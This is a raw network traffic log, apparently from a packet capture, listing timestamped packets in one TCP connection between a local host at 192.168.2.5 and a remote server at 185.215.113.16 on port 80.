Dec 16, 2024 15:25:37.939224958 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.939270973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.939536095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.939573050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.939579964 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.939584970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.939871073 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.945739031 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.957967043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958024979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958038092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958106041 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958131075 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.958153009 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.958456039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958508968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958522081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.958561897 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.959039927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.959090948 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.959116936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.959131002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.959178925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.959448099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.959952116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.960009098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.960020065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.960056067 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.960056067 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.960161924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.960928917 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.960998058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.961011887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.961021900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.961189985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.961296082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.961760044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.961899042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.961915016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.009428978 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.023792982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.023844957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.023857117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.023946047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.023957014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.024132013 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.024230003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.024255991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.024269104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.024341106 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.024374008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.024763107 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.025192022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.025244951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.025258064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.025326967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.025331020 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.025415897 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.026247978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.026262045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.026323080 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.093173981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093229055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093241930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093257904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093446016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093477011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093487024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.093487024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.093514919 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.093635082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093655109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.093694925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.094413042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.094424009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.094434977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.094511986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.094691038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.094691038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.095324993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.095388889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.095401049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.095417023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.095479965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.095479965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.096364975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.096405983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.096417904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.096489906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.096820116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.096820116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.097233057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.097286940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.097323895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.097336054 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.097337008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.097376108 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.098032951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.098069906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.098082066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.098160028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.098248959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.098301888 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.098954916 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.099041939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.099114895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.099118948 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.099128008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.099186897 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.099881887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.099992037 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.100003958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.100028038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.100033045 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.100070953 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.100817919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.100873947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.100884914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.100970030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.101075888 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.101075888 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.101727009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.101782084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.101795912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.101896048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.101950884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.101952076 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.102632999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.102684021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.102694988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.102783918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.102803946 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.102849960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.103663921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.103741884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.103754044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.103810072 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.103825092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.103869915 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.104712009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.104738951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.104751110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.104779959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.104856014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.104947090 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.105665922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.105735064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.105746031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.105792999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.105813026 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.105868101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.106308937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.106437922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.106450081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.106542110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.106544971 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.106615067 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.107199907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.107279062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.107290983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.107387066 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.132663965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132713079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132724047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132734060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132806063 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.132829905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.132864952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132904053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132937908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.132962942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.132982016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.149884939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.149938107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.149947882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.150027990 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.150146961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.150237083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.150237083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.150253057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.150360107 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.150405884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151029110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151077986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151088953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151118040 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.151180029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151185036 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.151889086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151942015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151956081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.151973009 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.152189016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.152529001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.152573109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.152585030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.152662039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.152664900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.152704954 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.153635025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.153688908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.153700113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.153764963 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.192362070 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.216031075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216104984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216186047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.216188908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216202021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216341972 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.216490984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216550112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216559887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.216706991 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.217087984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.217120886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.217134953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.217158079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.217235088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.217245102 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.218005896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.218055964 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.218072891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.218085051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.218130112 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.286277056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286298037 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286422014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286438942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286585093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286602974 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.286767006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286782026 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286798000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.286833048 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.286933899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.287631989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.287647963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.287663937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.287700891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.288081884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.288126945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.288276911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.288292885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.288307905 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.288328886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.289165020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.289180994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.289199114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.289210081 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.289246082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.289352894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.290019989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.290035963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.290056944 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.290064096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.290117979 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.290193081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291070938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291086912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291106939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291122913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291125059 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.291152000 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.291738987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291754007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291771889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.291809082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.291809082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.291903019 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.292721987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.292865038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.292866945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.292884111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.292898893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.292941093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.293682098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.293698072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.293715954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.293821096 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.293821096 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.293838978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.294526100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.294540882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.294562101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.294574022 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.294636011 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.294666052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295296907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295348883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.295612097 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295627117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295644045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295680046 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.295870066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295885086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295905113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295908928 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.295922995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.295957088 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.297527075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.297543049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.297559977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.297580957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.297660112 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.297667027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.298320055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.298475027 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.298496008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.298511028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.298527002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.298557997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.299285889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.299336910 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.299455881 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.299470901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.299496889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.299504995 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.300111055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.300126076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.300153971 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.300235033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.300251007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.300332069 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.301064968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.301117897 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.326066017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326082945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326098919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326116085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326132059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326150894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326169014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.326190948 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.326212883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.342955112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.343122959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.343137980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.343144894 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.343154907 CET	80	49742	185.215.113.16	192.168.2.5
